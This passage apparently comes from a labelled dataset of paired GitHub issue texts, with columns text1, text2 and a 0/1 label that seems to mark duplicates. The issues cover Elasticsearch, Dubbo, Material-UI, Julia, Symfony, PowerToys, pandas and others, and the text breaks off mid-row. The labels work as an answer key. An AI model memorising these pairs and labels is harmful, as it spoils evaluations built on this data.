text1
stringlengths
0
536k
text2
stringlengths
0
536k
label
int64
0
1
<p dir="auto"><strong>Elasticsearch version</strong>: 2.3.2</p> <p dir="auto">This is an attempt to simulate a bad disk that has turned read only.</p> <ol dir="auto"> <li>2 data nodes started</li> <li>Set permissions for data path of 1 of the nodes (node-2) to read only for all</li> <li>Create a new index (eg. say with only primary shards)</li> <li>All shards allocated for node-2 for this new index are unassigned (as expected since it cannot write to its file system), and primary shards for the good node are allocated successfully:</li> </ol> <p dir="auto">testindex 3 p STARTED 0 130b 127.0.0.1 node1<br> testindex 4 p UNASSIGNED<br> testindex 2 p UNASSIGNED<br> testindex 1 p STARTED 0 130b 127.0.0.1 node1<br> testindex 0 p UNASSIGNED</p> <p dir="auto">However, the master node is not recovering from this scenario well. It keeps trying to load the shards onto node 2 ... pretty much perpetually as long as node2 is started with a read only file system.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="[2016-08-03 11:45:04,927][WARN ][gateway ] [node1] [testindex][2]: failed to list shard for shard_started on node [Cr5kuAANQAi7dShxyW83Jg] FailedNodeException[Failed node [Cr5kuAANQAi7dShxyW83Jg]]; nested: RemoteTransportException[[node2][127.0.0.1:9301][internal:gateway/local/started_shards[n]]]; nested: ElasticsearchException[failed to load started shards]; nested: NotSerializableExceptionWrapper[access_denied_exception: /Users/User/ELK/ElasticStack_2_0/elasticsearch-2.3.2_node2/data/my-application1/nodes/0/indices/testindex/2/_state]; at org.elasticsearch.action.support.nodes.TransportNodesAction$AsyncAction.onFailure(TransportNodesAction.java:206) at org.elasticsearch.action.support.nodes.TransportNodesAction$AsyncAction.access$800(TransportNodesAction.java:106) at org.elasticsearch.action.support.nodes.TransportNodesAction$AsyncAction$2.handleException(TransportNodesAction.java:179) at org.elasticsearch.transport.netty.MessageChannelHandler.handleException(MessageChannelHandler.java:212) at org.elasticsearch.transport.netty.MessageChannelHandler.handlerResponseError(MessageChannelHandler.java:202) at org.elasticsearch.transport.netty.MessageChannelHandler.messageReceived(MessageChannelHandler.java:136) at org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) at org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) at org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) at org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:296) at org.jboss.netty.handler.codec.frame.FrameDecoder.unfoldAndFireMessageReceived(FrameDecoder.java:462) at org.jboss.netty.handler.codec.frame.FrameDecoder.callDecode(FrameDecoder.java:443) at org.jboss.netty.handler.codec.frame.FrameDecoder.messageReceived(FrameDecoder.java:303) at org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) at org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) at org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:559) at org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:268) at org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:255) at org.jboss.netty.channel.socket.nio.NioWorker.read(NioWorker.java:88) at org.jboss.netty.channel.socket.nio.AbstractNioWorker.process(AbstractNioWorker.java:108) at org.jboss.netty.channel.socket.nio.AbstractNioSelector.run(AbstractNioSelector.java:337) at org.jboss.netty.channel.socket.nio.AbstractNioWorker.run(AbstractNioWorker.java:89) at org.jboss.netty.channel.socket.nio.NioWorker.run(NioWorker.java:178) at org.jboss.netty.util.ThreadRenamingRunnable.run(ThreadRenamingRunnable.java:108) at org.jboss.netty.util.internal.DeadLockProofWorker$1.run(DeadLockProofWorker.java:42) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) at java.lang.Thread.run(Thread.java:745) Caused by: RemoteTransportException[[node2][127.0.0.1:9301][internal:gateway/local/started_shards[n]]]; nested: ElasticsearchException[failed to load started shards]; nested: NotSerializableExceptionWrapper[access_denied_exception: /Users/User/ELK/ElasticStack_2_0/elasticsearch-2.3.2_node2/data/my-application1/nodes/0/indices/testindex/2/_state]; Caused by: ElasticsearchException[failed to load started shards]; nested: NotSerializableExceptionWrapper[access_denied_exception: /Users/User/ELK/ElasticStack_2_0/elasticsearch-2.3.2_node2/data/my-application1/nodes/0/indices/testindex/2/_state]; at org.elasticsearch.gateway.TransportNodesListGatewayStartedShards.nodeOperation(TransportNodesListGatewayStartedShards.java:154) at org.elasticsearch.gateway.TransportNodesListGatewayStartedShards.nodeOperation(TransportNodesListGatewayStartedShards.java:59) at org.elasticsearch.action.support.nodes.TransportNodesAction.nodeOperation(TransportNodesAction.java:92) at org.elasticsearch.action.support.nodes.TransportNodesAction$NodeTransportHandler.messageReceived(TransportNodesAction.java:230) at org.elasticsearch.action.support.nodes.TransportNodesAction$NodeTransportHandler.messageReceived(TransportNodesAction.java:226) at org.elasticsearch.transport.RequestHandlerRegistry.processMessageReceived(RequestHandlerRegistry.java:75) at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.doRun(MessageChannelHandler.java:300) at org.elasticsearch.common.util.concurrent.AbstractRunnable.run(AbstractRunnable.java:37)"><pre class="notranslate"><code class="notranslate">[2016-08-03 11:45:04,927][WARN ][gateway ] [node1] [testindex][2]: failed to list shard for shard_started on node [Cr5kuAANQAi7dShxyW83Jg] FailedNodeException[Failed node [Cr5kuAANQAi7dShxyW83Jg]]; nested: RemoteTransportException[[node2][127.0.0.1:9301][internal:gateway/local/started_shards[n]]]; nested: ElasticsearchException[failed to load started shards]; nested: NotSerializableExceptionWrapper[access_denied_exception: /Users/User/ELK/ElasticStack_2_0/elasticsearch-2.3.2_node2/data/my-application1/nodes/0/indices/testindex/2/_state]; at org.elasticsearch.action.support.nodes.TransportNodesAction$AsyncAction.onFailure(TransportNodesAction.java:206) at org.elasticsearch.action.support.nodes.TransportNodesAction$AsyncAction.access$800(TransportNodesAction.java:106) at org.elasticsearch.action.support.nodes.TransportNodesAction$AsyncAction$2.handleException(TransportNodesAction.java:179) at org.elasticsearch.transport.netty.MessageChannelHandler.handleException(MessageChannelHandler.java:212) at org.elasticsearch.transport.netty.MessageChannelHandler.handlerResponseError(MessageChannelHandler.java:202) at org.elasticsearch.transport.netty.MessageChannelHandler.messageReceived(MessageChannelHandler.java:136) at org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) at org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) at org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) at org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:296) at org.jboss.netty.handler.codec.frame.FrameDecoder.unfoldAndFireMessageReceived(FrameDecoder.java:462) at org.jboss.netty.handler.codec.frame.FrameDecoder.callDecode(FrameDecoder.java:443) at org.jboss.netty.handler.codec.frame.FrameDecoder.messageReceived(FrameDecoder.java:303) at org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) at org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) at org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:559) at org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:268) at org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:255) at org.jboss.netty.channel.socket.nio.NioWorker.read(NioWorker.java:88) at org.jboss.netty.channel.socket.nio.AbstractNioWorker.process(AbstractNioWorker.java:108) at org.jboss.netty.channel.socket.nio.AbstractNioSelector.run(AbstractNioSelector.java:337) at org.jboss.netty.channel.socket.nio.AbstractNioWorker.run(AbstractNioWorker.java:89) at org.jboss.netty.channel.socket.nio.NioWorker.run(NioWorker.java:178) at org.jboss.netty.util.ThreadRenamingRunnable.run(ThreadRenamingRunnable.java:108) at org.jboss.netty.util.internal.DeadLockProofWorker$1.run(DeadLockProofWorker.java:42) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) at java.lang.Thread.run(Thread.java:745) Caused by: RemoteTransportException[[node2][127.0.0.1:9301][internal:gateway/local/started_shards[n]]]; nested: ElasticsearchException[failed to load started shards]; nested: NotSerializableExceptionWrapper[access_denied_exception: /Users/User/ELK/ElasticStack_2_0/elasticsearch-2.3.2_node2/data/my-application1/nodes/0/indices/testindex/2/_state]; Caused by: ElasticsearchException[failed to load started shards]; nested: NotSerializableExceptionWrapper[access_denied_exception: /Users/User/ELK/ElasticStack_2_0/elasticsearch-2.3.2_node2/data/my-application1/nodes/0/indices/testindex/2/_state]; at org.elasticsearch.gateway.TransportNodesListGatewayStartedShards.nodeOperation(TransportNodesListGatewayStartedShards.java:154) at org.elasticsearch.gateway.TransportNodesListGatewayStartedShards.nodeOperation(TransportNodesListGatewayStartedShards.java:59) at org.elasticsearch.action.support.nodes.TransportNodesAction.nodeOperation(TransportNodesAction.java:92) at org.elasticsearch.action.support.nodes.TransportNodesAction$NodeTransportHandler.messageReceived(TransportNodesAction.java:230) at org.elasticsearch.action.support.nodes.TransportNodesAction$NodeTransportHandler.messageReceived(TransportNodesAction.java:226) at org.elasticsearch.transport.RequestHandlerRegistry.processMessageReceived(RequestHandlerRegistry.java:75) at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.doRun(MessageChannelHandler.java:300) at org.elasticsearch.common.util.concurrent.AbstractRunnable.run(AbstractRunnable.java:37) </code></pre></div> <p dir="auto">And these tasks keep getting added and re-added to the pending tasks to no end:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="{ &quot;tasks&quot;: [ { &quot;insert_order&quot;: 141469, &quot;priority&quot;: &quot;HIGH&quot;, &quot;source&quot;: &quot;cluster_reroute(async_shard_fetch)&quot;, &quot;executing&quot;: true, &quot;time_in_queue_millis&quot;: 1, &quot;time_in_queue&quot;: &quot;1ms&quot; }, { &quot;insert_order&quot;: 141470, &quot;priority&quot;: &quot;HIGH&quot;, &quot;source&quot;: &quot;cluster_reroute(async_shard_fetch)&quot;, &quot;executing&quot;: false, &quot;time_in_queue_millis&quot;: 0, &quot;time_in_queue&quot;: &quot;0s&quot; } ] }"><pre class="notranslate"><code class="notranslate">{ "tasks": [ { "insert_order": 141469, "priority": "HIGH", "source": "cluster_reroute(async_shard_fetch)", "executing": true, "time_in_queue_millis": 1, "time_in_queue": "1ms" }, { "insert_order": 141470, "priority": "HIGH", "source": "cluster_reroute(async_shard_fetch)", "executing": false, "time_in_queue_millis": 0, "time_in_queue": "0s" } ] } </code></pre></div> <p dir="auto">It keeps going forever until node 2 is stopped and the underlying file system is addressed.</p> <p dir="auto">Once node2 is started back up with a writable data path, then you end up with a red index for it does not go and retry the allocation there.</p> <p dir="auto">testindex 3 p STARTED 0 130b 127.0.0.1 node1<br> testindex 4 p UNASSIGNED<br> testindex 2 p UNASSIGNED<br> testindex 1 p STARTED 0 130b 127.0.0.1 node1<br> testindex 0 p UNASSIGNED</p> <p dir="auto">Seems like there is an opportunity to handle this better:</p> <ul dir="auto"> <li>Should the master be retrying forever and spewing large amounts of exceptions and keep performing async_shard_fetch actions? Or should it give up at some point?</li> <li>Note that even though currently the master is retrying async_shard_fetch forever, if I fix the permission issues against the data folder on node-2 while this is happening, the master will stop complaining about the read permission issues as if things are good now. However, the shards remain unassigned so it doesn't actually go and try to start them up on node-2. Even after a full cluster restart, the testindex remains red with the unassigned shards.</li> </ul>
<p dir="auto">The combo analysis plugin is not maintained anymore and it's quite usefull and necessery for multilingual indexes. This plugin should be moved to core and maintened by elastic.</p> <p dir="auto"><a href="https://github.com/yakaz/elasticsearch-analysis-combo">https://github.com/yakaz/elasticsearch-analysis-combo</a><br> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="116802517" data-permission-text="Title is private" data-url="https://github.com/yakaz/elasticsearch-analysis-combo/issues/21" data-hovercard-type="pull_request" data-hovercard-url="/yakaz/elasticsearch-analysis-combo/pull/21/hovercard" href="https://github.com/yakaz/elasticsearch-analysis-combo/pull/21">yakaz/elasticsearch-analysis-combo#21</a></p> <p dir="auto">Thank you</p>
0
<ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have searched the <a href="https://github.com/apache/dubbo/issues">issues</a> of this repository and believe that this is not a duplicate.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have checked the <a href="https://github.com/apache/dubbo/blob/master/FAQ.md">FAQ</a> of this repository and believe that this is not a duplicate.</li> </ul> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/26616196/67084492-ad540600-f1cf-11e9-96b9-991b377b60ca.png"><img src="https://user-images.githubusercontent.com/26616196/67084492-ad540600-f1cf-11e9-96b9-991b377b60ca.png" alt="image" style="max-width: 100%;"></a><br> <a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/26616196/67084510-b218ba00-f1cf-11e9-8928-7a1068ce0d5a.png"><img src="https://user-images.githubusercontent.com/26616196/67084510-b218ba00-f1cf-11e9-8928-7a1068ce0d5a.png" alt="image" style="max-width: 100%;"></a></p> <h3 dir="auto">Environment</h3> <ul dir="auto"> <li>Dubbo version: xxx</li> <li>Operating System version: xxx</li> <li>Java version: xxx</li> </ul> <h3 dir="auto">Steps to reproduce this issue</h3> <ol dir="auto"> <li>xxx</li> <li>xxx</li> <li>xxx</li> </ol> <p dir="auto">Pls. provide [GitHub address] to reproduce this issue.</p> <h3 dir="auto">Expected Result</h3> <p dir="auto">What do you expected from the above steps?</p> <h3 dir="auto">Actual Result</h3> <p dir="auto">What actually happens?</p> <p dir="auto">If there is an exception, please attach the exception trace:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Just put your stack trace here!"><pre class="notranslate"><code class="notranslate">Just put your stack trace here! </code></pre></div>
<ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have searched the <a href="https://github.com/apache/incubator-dubbo/issues">issues</a> of this repository and believe that this is not a duplicate.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have checked the <a href="https://github.com/apache/incubator-dubbo/blob/master/FAQ.md">FAQ</a> of this repository and believe that this is not a duplicate.</li> </ul> <h3 dir="auto">Environment</h3> <ul dir="auto"> <li>Dubbo version: xxx</li> <li>Operating System version: xxx</li> <li>Java version: xxx</li> </ul> <h3 dir="auto">Steps to reproduce this issue</h3> <ol dir="auto"> <li>xxx</li> <li>xxx</li> <li>xxx</li> </ol> <p dir="auto">Pls. provide [GitHub address] to reproduce this issue.</p> <h3 dir="auto">Expected Result</h3> <p dir="auto">What do you expected from the above steps?</p> <h3 dir="auto">Actual Result</h3> <p dir="auto">What actually happens?</p> <p dir="auto">If there is an exception, please attach the exception trace:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Just put your stack trace here!"><pre class="notranslate"><code class="notranslate">Just put your stack trace here! </code></pre></div>
0
<p dir="auto">I find that Popovers with 'click' as its trigger is kind of useless when you have many of them opened at the same time, and you have to manually go through and close each one of them. Can we request to have ONE additional popover option?</p> <p dir="auto">data-backdrop</p> <p dir="auto">Which works the same like modals closing on click. I believe this is rather straight forward and we will find very useful.</p>
<p dir="auto">I find that Popovers with 'click' as its trigger is kind of useless when you have many of them opened at the same time, and you have to manually go through and close each one of them. Can we request to have ONE additional popover option?</p> <p dir="auto">data-backdrop</p> <p dir="auto">Which works the same like modals closing on click. I believe this is rather straight forward and we will find very useful.</p>
1
<ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have searched the <a href="https://github.com/mui-org/material-ui/issues">issues</a> of this repository and believe that this is not a duplicate.</li> </ul> <h2 dir="auto">Expected Behavior</h2> <p dir="auto">I would love either native support for custom scrollbars or some guidance on how to get at components buried within other components (such as the <code class="notranslate">&lt;Menu&gt;</code> component within a <code class="notranslate">&lt;Select&gt;</code> component) to add external custom scrollbars.</p> <h2 dir="auto">Current Behavior</h2> <p dir="auto">Currently, after searching the issues, there doesn't seem to be any talk about using custom scrollbars. (sorry if I missed it, I looked through about 4 pages) I am unable to find a way to wrap the <code class="notranslate">&lt;Menu&gt;</code> called from <code class="notranslate">&lt;Select&gt;</code> in my own custom scrollbar component.</p> <h2 dir="auto">Steps to Reproduce (for bugs)</h2> <ol dir="auto"> <li>Use <code class="notranslate">&lt;Select&gt;</code> with a fixed height menu and notice that it uses the browsers default scrollbar. For example, the <a href="https://material-ui-next.com/demos/selects/" rel="nofollow">Multiple Select demo</a>.</li> </ol> <h2 dir="auto">Context</h2> <p dir="auto">I have been able to wrap other Material-UI components in my custom scrollbar, but I am unable to get at components called from other components, such as <code class="notranslate">&lt;Select&gt;</code>, so some of my elements have custom scrollbars and others do not.</p> <h2 dir="auto">Your Environment</h2> <table role="table"> <thead> <tr> <th>Tech</th> <th>Version</th> </tr> </thead> <tbody> <tr> <td>Material-UI</td> <td>beta.27</td> </tr> <tr> <td>React</td> <td>15</td> </tr> <tr> <td>browser</td> <td>chrome</td> </tr> <tr> <td>OS</td> <td>OS X</td> </tr> </tbody> </table>
<ul dir="auto"> <li>[x ] I have searched the <a href="https://github.com/callemall/material-ui/issues">issues</a> of this repository and believe that this is not a duplicate.</li> </ul> <h2 dir="auto">Expected Behavior</h2> <p dir="auto">The CircularProgress should rotate on it's axis</p> <h2 dir="auto">Current Behavior</h2> <p dir="auto">When you apply a size of 12 the CircularProgress performs an odd double rotation</p> <h2 dir="auto">Steps to Reproduce (for bugs)</h2> <p dir="auto">See <a href="https://www.webpackbin.com/bins/-Kv1BRoDe0BTrUHaR2mY" rel="nofollow">https://www.webpackbin.com/bins/-Kv1BRoDe0BTrUHaR2mY</a></p> <h2 dir="auto">Your Environment</h2> <table role="table"> <thead> <tr> <th>Tech</th> <th>Version</th> </tr> </thead> <tbody> <tr> <td>Material-UI</td> <td>Master</td> </tr> <tr> <td>React</td> <td>16.6.1</td> </tr> <tr> <td>browser</td> <td>Chrome</td> </tr> </tbody> </table> <p dir="auto">I believe this issue can be fixed by changing line 42 of CircularProgress from:</p> <p dir="auto">position: 'relative',</p> <p dir="auto">to</p> <p dir="auto">position: 'absolute',</p>
0
<p dir="auto">It would be nice to be able to write:</p> <div class="highlight highlight-source-julia notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="[f() for 1:n]"><pre class="notranslate">[<span class="pl-c1">f</span>() <span class="pl-k">for</span> <span class="pl-c1">1</span><span class="pl-k">:</span>n]</pre></div> <p dir="auto">instead of</p> <div class="highlight highlight-source-julia notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="[f() for _ in 1:n]"><pre class="notranslate">[<span class="pl-c1">f</span>() <span class="pl-k">for</span> _ <span class="pl-k">in</span> <span class="pl-c1">1</span><span class="pl-k">:</span>n]</pre></div> <hr> <p dir="auto">Here is some context: I wanted to build a <code class="notranslate">Vector{Vector{Float64}}</code> containing empty <code class="notranslate">Vector{Float64}</code>s.<br> <code class="notranslate">Array(Vector{Vector{Float64}}, n)</code> doesn't work because the inner vectors are undefined. <code class="notranslate">repeat(Float64[], outer=[n])</code> doesn't work because it is just concatenating empty arrays. <code class="notranslate">collect(repeated(Float64[], n))</code> works and so does <code class="notranslate">[Float64[] for _ in 1:n]</code>, but it could be prettier. That's why I am proposing this teaspoon of syntactic sugar.</p> <p dir="auto">Not a game changer but it could be a nice little addition.</p> <p dir="auto"><sub>I apologize if this was brought up before. I couldn't find it.</sub></p>
<p dir="auto">Especially with comprehensions I do this by accident fairly often:</p> <div class="highlight highlight-source-julia notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="[@elapsed f() for 1:10]"><pre class="notranslate">[<span class="pl-c1">@elapsed</span> <span class="pl-c1">f</span>() <span class="pl-k">for</span> <span class="pl-c1">1</span><span class="pl-k">:</span><span class="pl-c1">10</span>]</pre></div> <p dir="auto">We could support the same for loops:</p> <div class="highlight highlight-source-julia notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="for 1:10 f() end"><pre class="notranslate"><span class="pl-k">for</span> <span class="pl-c1">1</span><span class="pl-k">:</span><span class="pl-c1">10</span> <span class="pl-c1">f</span>() <span class="pl-k">end</span></pre></div> <p dir="auto">Not super crucial, but seems like something we might as well allow.</p>
1
<p dir="auto">i use "Glide.with(MainActivity.this).load(url).asGif().into(imageView);" and look netwrok,after 5s imageview not load gif, but i use diskCacheStrategy(DiskCacheStrategy.SOURCE) can load gif.</p>
<p dir="auto">First I want to thank you for this awesome library. It's help me to play gif in imageview, after two weeks of try and search I found that Glide better than all other libraries.<br> But when try load gif (its size more than 200KB) from url Glide fail to load url and appear error drawable. this is my code:</p> <div class="highlight highlight-source-java notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="Glide.with(this) .load(gif_url) .asGif() .error(getResources().getDrawable(R.drawable.error)) .into(imageview);"><pre class="notranslate"><span class="pl-smi">Glide</span>.<span class="pl-en">with</span>(<span class="pl-smi">this</span>) .<span class="pl-en">load</span>(<span class="pl-s1">gif_url</span>) .<span class="pl-en">asGif</span>() .<span class="pl-en">error</span>(<span class="pl-en">getResources</span>().<span class="pl-en">getDrawable</span>(<span class="pl-smi">R</span>.<span class="pl-s1">drawable</span>.<span class="pl-s1">error</span>)) .<span class="pl-en">into</span>(<span class="pl-s1">imageview</span>);</pre></div> <p dir="auto">I try loading same url by Ion library and It work normal.<br> Internet is slow in my country but despite this Ion work fine and Glide not.<br> my questions are:</p> <ul dir="auto"> <li>Is there way to increase Glide ability in loading url to be like Ion?</li> <li>Is there any other one have like problem or all works fine with them? I don't want to publish my app and get review that gif not work.</li> </ul> <p dir="auto">If there is no answer to Q1 I have no way only to download gif by Ion and then showing it by Glide and this is code i write to do:</p> <div class="highlight highlight-source-java notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="Ion.with(this) load(gif_url) .write(file) .setCallback(new FutureCallback&lt;File&gt;() { @Override public void onCompleted(Exception e, File result) { Glide.with(getBaseContext()) .load(result) .asGif() .diskCacheStrategy(DiskCacheStrategy.NONE ) .error(getResources().getDrawable(R.drawable.erorr)) .into(imageview); } });"><pre class="notranslate"><span class="pl-smi">Ion</span>.<span class="pl-en">with</span>(<span class="pl-smi">this</span>) <span class="pl-en">load</span>(<span class="pl-s1">gif_url</span>) .<span class="pl-en">write</span>(<span class="pl-s1">file</span>) .<span class="pl-en">setCallback</span>(<span class="pl-k">new</span> <span class="pl-smi">FutureCallback</span>&lt;<span class="pl-smi">File</span>&gt;() { <span class="pl-c1">@</span><span class="pl-c1">Override</span> <span class="pl-k">public</span> <span class="pl-smi">void</span> <span class="pl-en">onCompleted</span>(<span class="pl-smi">Exception</span> <span class="pl-s1">e</span>, <span class="pl-smi">File</span> <span class="pl-s1">result</span>) { <span class="pl-smi">Glide</span>.<span class="pl-en">with</span>(<span class="pl-en">getBaseContext</span>()) .<span class="pl-en">load</span>(<span class="pl-s1">result</span>) .<span class="pl-en">asGif</span>() .<span class="pl-en">diskCacheStrategy</span>(<span class="pl-smi">DiskCacheStrategy</span>.<span class="pl-c1">NONE</span> ) .<span class="pl-en">error</span>(<span class="pl-en">getResources</span>().<span class="pl-en">getDrawable</span>(<span class="pl-smi">R</span>.<span class="pl-s1">drawable</span>.<span class="pl-s1">erorr</span>)) .<span class="pl-en">into</span>(<span class="pl-s1">imageview</span>); } });</pre></div> <p dir="auto">Please tell me if you have any suggestions to fix this problem.</p> <p dir="auto">Thank you very much for making Gilde and I hope get answers<br> Sorry for my weak English</p>
1
<p dir="auto">Recently, I stumbled upon this article about validating emails:</p> <p dir="auto"><a href="https://davidcel.is/posts/stop-validating-email-addresses-with-regex/" rel="nofollow">https://davidcel.is/posts/stop-validating-email-addresses-with-regex/</a></p> <p dir="auto">We know that validating emails is a complex topic and depending on a lot of factors, people want something stricter than just checking for <code class="notranslate">@</code> or something simpler than an email being "right".</p> <p dir="auto">Lots of issues have being creating along the years here about this issue (I wanted to list them all here for reference, but there are just too many of them :)).</p> <p dir="auto">What's interesting I think (and I don't remember it being mentioned before but I might be wrong), is how HTML5 actually validates emails:</p> <p dir="auto"><a href="https://www.w3.org/TR/html5/forms.html#valid-e-mail-address" rel="nofollow">https://www.w3.org/TR/html5/forms.html#valid-e-mail-address</a></p> <p dir="auto">Would it be a good middle ground that we could offer as a third alternative to our users?</p>
<h3 dir="auto">Problem</h3> <ul dir="auto"> <li>Validating email addresses is absurdly complex.</li> <li>We've received <a href="https://github.com/symfony/symfony/issues?utf8=%E2%9C%93&amp;q=email+validation">tens of issues</a> in the past years about this validation.</li> </ul> <h3 dir="auto">Solution</h3> <ul dir="auto"> <li>Let's simplify the email validator to just check that email addresses "look valid" using a good regexp.</li> <li>If you need to validate that the email is real, send a confirmation email (by the way, do you know any serious service which doesn't send a confirmation email after signing up?).</li> </ul> <p dir="auto">HTML5 Standard <a href="https://html.spec.whatwg.org/multipage/forms.html#e-mail-state-%28type=email%29" rel="nofollow">proposes</a> this regexp to validate emails:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="/^[a-zA-Z0-9.!#$%&amp;'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61} [a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/"><pre class="notranslate"><code class="notranslate">/^[a-zA-Z0-9.!#$%&amp;'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61} [a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/ </code></pre></div> <h3 dir="auto">Proposal</h3> <ul dir="auto"> <li>Update the regexp of the EmailValidator to use the HTML5 regexp</li> <li>Deprecate <code class="notranslate">strict</code> option</li> <li>Deprecate <code class="notranslate">checkMX</code> option</li> <li>Deprecate <code class="notranslate">checkHost</code> option</li> </ul>
1
<h2 dir="auto">Environment:</h2> <p dir="auto">Windows build number: <code class="notranslate">10.0.18363.657</code><br> PowerToys version: <code class="notranslate">0.14.1.0</code><br> PowerToy module for which you are reporting the bug (if applicable): <code class="notranslate">FancyZones</code></p> <h2 dir="auto">Steps to reproduce:</h2> <p dir="auto">From FancyZones zone editor dialog, click <code class="notranslate">Custom</code> tab and then click <code class="notranslate">Edit selected layout</code> button.</p> <h2 dir="auto">Expected behavior:</h2> <p dir="auto">Dialog should then offer a choice between using the additive or subtractive methods.</p> <h2 dir="auto">Actual behavior</h2> <p dir="auto">Dialog currently launches directly into additive mode with no choice to choose subtractive method, nor any hint how subtractive method method can be accessed.</p>
<h1 dir="auto">Environment</h1> <p dir="auto">Windows build number: Microsoft Windows [Version 10.0.18363.900]<br> PowerToys version: v0.19.1<br> PowerToy module for which you are reporting the bug (if applicable): Fancy Zones</p> <h1 dir="auto">Steps to reproduce</h1> <p dir="auto">My monitor supports "Picture by Picture" which allows me to quickly change from full screen to a split screen layout (so I can have my work computer on half of my screen for example. However, whenever I enable/disable PBP, the fancy zones layouts break and now overlap the windows task bar (which I have set on the right hand side of my screen.</p> <ol dir="auto"> <li>Create zones layout</li> <li>Change monitor resolution</li> <li>Change monitor resolution back to original<br> 4, Original layout now overlap the taskbar</li> </ol> <h1 dir="auto">Expected behavior</h1> <p dir="auto">Zones layout should not overlap taskbar after changing resolution</p> <h1 dir="auto">Actual behavior</h1> <p dir="auto">Zone layout overlaps taskbar</p>
0
<p dir="auto">Using the built-in <code class="notranslate">sum</code> function gives correct result in <code class="notranslate">df.agg(sum, axis=0)</code>, but wrong result in <code class="notranslate">df.agg(sum, axis=1)</code>.</p> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="&gt;&gt;&gt; df = pd.DataFrame([[np.nan, 2], [3, 4]]) &gt;&gt;&gt; df.agg(sum, axis=0) 0 3.0 1 6.0 dtype: float64 &gt;&gt;&gt; df.agg(sum, axis=1) 0 NaN 1 7.0 dtype: float64"><pre class="notranslate"><span class="pl-c1">&gt;&gt;</span><span class="pl-c1">&gt;</span> <span class="pl-s1">df</span> <span class="pl-c1">=</span> <span class="pl-s1">pd</span>.<span class="pl-v">DataFrame</span>([[<span class="pl-s1">np</span>.<span class="pl-s1">nan</span>, <span class="pl-c1">2</span>], [<span class="pl-c1">3</span>, <span class="pl-c1">4</span>]]) <span class="pl-c1">&gt;&gt;</span><span class="pl-c1">&gt;</span> <span class="pl-s1">df</span>.<span class="pl-en">agg</span>(<span class="pl-s1">sum</span>, <span class="pl-s1">axis</span><span class="pl-c1">=</span><span class="pl-c1">0</span>) <span class="pl-c1">0</span> <span class="pl-c1">3.0</span> <span class="pl-c1">1</span> <span class="pl-c1">6.0</span> <span class="pl-s1">dtype</span>: <span class="pl-s1">float64</span> <span class="pl-c1">&gt;&gt;</span><span class="pl-c1">&gt;</span> <span class="pl-s1">df</span>.<span class="pl-en">agg</span>(<span class="pl-s1">sum</span>, <span class="pl-s1">axis</span><span class="pl-c1">=</span><span class="pl-c1">1</span>) 